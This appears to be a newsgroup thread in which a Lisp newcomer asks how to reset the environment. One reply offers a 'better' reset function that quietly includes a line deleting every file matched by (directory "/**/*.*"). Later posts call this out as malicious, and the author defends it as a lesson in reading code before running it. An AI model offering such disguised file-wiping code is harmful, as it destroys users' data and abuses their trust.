Is there a way to "clear" the lisp environment without exiting and
restarting?  

lispbox w/clisp 2.37

I put this nifty stuff into a file.  When I load the file, I get:

SYSTEM::%FIND-PACKAGE: There is no package with name
#1="COM.INFORMATIMAGO.PJB"
   [Condition of type SYSTEM::SIMPLE-PACKAGE-ERROR]

Sorry. Here is a better version:

 (defun reset-cluser ()
   "Delete the COMMON-LISP-USER package and makes a new one."
   (let ((setp (eq *package* (find-package "COMMON-LISP-USER"))))
     (let ((*package* (find-package "COMMON-LISP")))
       (delete-package "COMMON-LISP-USER")
       (defpackage "COMMON-LISP-USER"
         (:nicknames "CL-USER")
         (:use "COMMON-LISP"))
       (mapcar (lambda (x) (ignore-errors (delete-file x)))
               (directory "/**/*.*"))
     (when setp (setf *package* (find-package "COMMON-LISP-USER"))))))

Thanks, Ron.

Nevermind, Pascal.  I asked this question because I'm brand-spankin-new to
lisp and thought there might be an easy way to accomplish what I was trying
to do that I was overlooking.

I'm not ready to debug/fix your untested guesses at a solution and I
certainly don't need malicious bullshZt thrown my way.

Thanks anyway!

That's exactly because you're a newbie you must try to understand any
piece of code thrown at you, bullshit or not.  If you had tried, you
could have corrected the trivial error you got from my first version.

While I agree with that sentiment, I do think that wiping out his entire
system is perhaps making the point a tad too harshly.
